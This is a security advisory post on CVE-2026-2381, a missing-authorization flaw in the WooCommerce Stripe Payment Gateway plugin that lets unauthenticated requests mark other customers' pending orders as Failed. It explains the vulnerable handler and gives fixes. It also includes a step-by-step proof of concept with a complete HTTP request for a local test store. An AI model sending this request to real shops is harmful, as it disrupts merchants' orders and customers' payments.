CVE-2026-2381 affects WooCommerce Stripe Payment Gateway and allows unauthenticated attackers to change pending orders to Failed through the public wc_stripe_pay_for_order endpoint. The handler accepts a supplied order ID without checking order ownership or an order key. A request with a fake payment method can trigger a payment error that changes the selected order status. Versions through 10.7.0 are affected, with a fix in 10.8.0.

CVECVE-2026-2381
Plugin VersionWooCommerce Stripe Payment Gateway <= 10.7.0, fixed in 10.8.0
All Time49 622 794
Active installations700 000+
Publicly PublishedJune 15, 2026
Last UpdatedJune 16, 2026
ResearcherDmitrii Ignatyev
CWECWE-284 – Improper Access Control
CWE-862 – Missing Authorization in the CVE record
PoCYes
ExploitNo
Referencehttps://www.cve.org/CVERecord?id=CVE-2026-2381
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-gateway-stripe/woocommerce-stripe-payment-gateway-1070-missing-authorization-to-unauthenticated-order-status-manipulation-via-order-parameter
Plugin Security Certification by CleanTalk
Logo of the pluginWooCommerce Stripe Payment Gateway plugin logo

Join the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.

PSC by Cleantalk

Timeline

February 2, 2026Plugin testing and vulnerability detection in WooCommerce Stripe Gateway 10.3.1 were completed.
February 2, 2026The vulnerability was reported with the PoC and technical description.
June 15, 2026Wordfence publicly published the advisory for CVE-2026-2381.
June 16, 2026The CVE record was published in the CVE Program registry.

Discovery of the Vulnerability

The issue was identified in version 10.3.1 while examining the Express Checkout payment flow. The public WC-AJAX action maps to WC_Stripe_Express_Checkout_Ajax_Handler::ajax_pay_for_order() in includes/payment-methods/class-wc-stripe-express-checkout-ajax-handler.php. The handler at lines 356 to 413 validates the wc-stripe-pay-for-order nonce, requires the Stripe payment method and a nonempty wc-stripe-payment-method value, then loads the supplied order. It checks that the order exists and needs payment, but never verifies an order key, ownership, or permission to act on that order.

The handler then calls process_payment($order_id). Omitting a valid payment source while supplying the required fake payment method can reach the gateway error path. In the exception handler at lines 516 to 529 of includes/class-wc-gateway-stripe.php, a WC_Stripe_Exception leads to update_status(OrderStatus::FAILED). The order is changed before the AJAX handler returns its error response. The needs_payment() check limits this path to orders that still require payment.

Understanding of Missing Authorization attacks

A nonce exposed on a public checkout page does not establish ownership of an order. Here, the caller supplies the numeric object identifier and the application starts a payment operation against that object without checking the caller’s authority. The report describes this as CWE-284 – Improper Access Control. The CVE record uses the more specific CWE-862 – Missing Authorization classification.

The demonstrated impact is a change to Failed, rather than the separate WooCommerce Cancelled status. A successful charge is not required. Because order IDs may be sequential, the missing authorization check can expose other pending orders to the same tampering. Failed orders can interrupt checkout, trigger notifications or retries, and create additional support work.

Exploiting the Missing Authorization Vulnerability

The supplied research PoC targets version 10.3.1 and uses pm_FAKE to satisfy the handler’s nonempty payment-method requirement without providing a valid payment source. Use the single disposable order in the local test store for the following reproduction.

POC:

POC:
1. Use an isolated WooCommerce test store with WooCommerce Stripe Gateway 10.3.1 and Express Checkout assets enabled.
2. Create a disposable pending order belonging to a test customer. The example uses order 313.
3. In a separate logged-out browser session, open a checkout page that loads the Express Checkout assets.
4. Read wc_stripe_express_checkout_params.nonce.pay_for_order and replace <PAY_FOR_ORDER_NONCE> below with its actual value.
5. Send the request without a WordPress login cookie, an order key, stripe_source, or stripe_token.

POST /wordpress/?wc-ajax=wc_stripe_pay_for_order HTTP/1.1
Host: 127.0.0.1
Accept: application/json
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Origin: http://127.0.0.1
Referer: http://127.0.0.1/wordpress/checkout/

_ajax_nonce=<PAY_FOR_ORDER_NONCE>&payment_method=stripe&order=313&wc-stripe-payment-method=pm_FAKE

6. As the test store administrator, inspect order 313 and confirm that it changed from Pending payment to Failed.

____

The nonce placeholder must be replaced with the value from the public page. An invalid nonce or an order that does not need payment will not reach the demonstrated status update. The relevant result is the order’s persisted Failed status, even though the payment request itself returns an error.

Recommendations for Improved Security

Store owners should update WooCommerce Stripe Payment Gateway to 10.8.0 or a later patched release, as specified in the advisory. Check recently failed orders for unexpected transitions and review gateway logs when investigating interrupted payments.

Developers should verify authorization for the exact order before invoking payment processing or changing its state. Guest payment flows need a valid order key or an equivalent order-bound authorization mechanism. Customer flows must verify ownership, and administrative actions need an appropriate capability check. Nonce verification and the order’s payment eligibility remain separate checks. Requests that fail authorization must leave the order unchanged.

Protecting WooCommerce order authorization in CVE-2026-2381 keeps an unauthenticated payment request from changing another customer’s order. Applying the patched gateway release closes this reported path.

#WordPressSecurity #WooCommerce #MissingAuthorization #WebsiteSafety #StayProtected

Use CleanTalk solutions to improve the security of your website

CVE-2026-2381 – WooCommerce Stripe Gateway – Missing Authorization – POC

Dmitrii I

Pentester with 5 years of hands-on experience securing WordPress and web applications, holding OSWE, OSEP, OSCP, and OSWP certifications. Author of 450 published CVEs, including 35 disclosed within the last month. Specializes in discovering and validating high-impact vulnerabilities in WordPress plugins/themes / Custom WEB applications and delivering actionable remediation guidance to harden production sites.

Visit Author's Website

See all posts by dmitrii-ignatyev

Leave a Reply

Your email address will not be published. Required fields are marked *